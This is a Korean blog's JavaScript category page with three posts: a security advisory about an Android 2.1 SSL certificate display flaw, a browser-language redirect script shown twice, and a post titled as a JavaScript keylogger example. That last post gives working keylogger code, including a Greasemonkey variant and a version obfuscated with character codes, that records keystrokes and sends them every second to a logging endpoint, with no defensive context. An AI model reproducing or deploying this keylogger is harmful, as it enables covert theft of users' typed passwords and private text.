'자바스크립트'에 해당되는 글 7건

  1. 2011.07.29 안드로이드 운영체제(2.1버전) 취약점 주의 및 보안 업데이트 권고 (2)
  2. 2011.06.01 자바스크립트 브라우저 언어 감지 코드
  3. 2010.09.03 Javascript Keylogger 예제 (1)
2011. 7. 29. 19:35

안드로이드 운영체제(2.1버전) 취약점 주의 및 보안 업데이트 권고

□ 개요
   o 안드로이드 2.1(Eclair)이하 버전에서 조작된 SSL인증서를 불러올 때 인증서 정보를 제대로 
     표시하지 못하는 취약점을 발표[1]     
   o 공격자에 의해 조작된 SSL인증서가 게시된 웹서버에 사용자가 접속할 경우 피싱공격 등의
      피해를 입을 수 있음
   o 2.1(Eclair) 버전이하 안드로이드 사용자는 스마트폰 제조사 또는 이통사에 문의하여 
      최신 OS업데이트 적용 권고

□ 해당 시스템
   o 영향 받는 소프트웨어
     - 안드로이드 2.1(Eclair)이하 버전
   o 영향 받지 않는 소프트웨어
     - 안드로이드 2.2(Froyo)이상 버전

□ 해결방안
   o 안드로이드 2.1(Eclair)이하 버전
     - 해당 스마트폰 제조사 또는 이통사에 문의하여 최신 OS업데이트 적용
     - OS업데이트가 불가능할 경우 아래의 임시 해결책 적용
      ※ 자바스크립트 사용 체크 해제

□ 용어 정리
   o 피싱(Phishing) : 신뢰할 만한 사이트, 이메일등 출처로 위장하여 개인정보 유출을 목적으로 
      피해를 입히는 공격기법
   o SSL : 웹 브라우저와 웹 서버 간에 데이터를 안전하게 주고받기 위한 업계 표준 프로토콜


□ 기타 문의사항
o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118

[참고사이트]
[1] http://jvn.jp/en/jp/JVN43105011/index.html


Trackback 0 Comment 2
  1. Favicon of http://online-casino.eu.com online casino 2011.07.30 17:17 address edit & del reply

    아주 좋은 기사

  2. Favicon of http://www.uggsclearancenet.com/ ugg boots clearance 2011.10.19 17:34 address edit & del reply

    게시 주셔서 감사합니다!내용은 제가 찾고있는 것입니다! 귀하의 업데이트 소식을 기다리는 중!

2011. 6. 1. 19:22

자바스크립트 브라우저 언어 감지 코드

브라우저 언어를 감지하여 해당 언어 페이지로 이동하는 방식입니다.

<SCRIPT LANGUAGE="JavaScript"> 
<!-- Begin 
if (navigator.appName == 'Netscape') 
var language = navigator.language; 
else 
var language = navigator.browserLanguage; 
if (language.indexOf('en') > -1) document.location.href = 'english.html'; 
else if (language.indexOf('de') > -1) document.location.href = 'german.html'; 
else if (language.indexOf('it') > -1) document.location.href = 'italian.html'; 
else 
document.location.href = 'defaultpage.html'; 
// End --> 
</script>



<SCRIPT LANGUAGE="JavaScript"> 
<!-- Begin 
if (navigator.appName == 'Netscape') 
var language = navigator.language; 
else 
var language = navigator.browserLanguage; 
if (language.indexOf('en') > -1) document.location.href = 'english.html'; 
else if (language.indexOf('de') > -1) document.location.href = 'german.html'; 
else if (language.indexOf('it') > -1) document.location.href = 'italian.html'; 
else 
document.location.href = 'defaultpage.html'; 
// End --> 
</script>



출처 : able2know.org

Trackback 0 Comment 0
2010. 9. 3. 19:31

Javascript Keylogger 예제

var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
keys = '';
}, 1000);


GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
eventobj = window.event?event:e;
key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
keys = GM_getValue('keys');
keys+= String.fromCharCode(key);
GM_setValue('keys', keys);
}

window.setInterval(function(){
new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
GM_setValue('keys', '');
}, 1000);


window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
e=window.event?window.event:e;
k=e.charCode?e.charCode:e.keyCode;
k=GM_getValue('q')+strf(k);
GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);

Trackback 0 Comment 1
  1. 2010.09.04 17:45 address edit & del reply

    비밀댓글입니다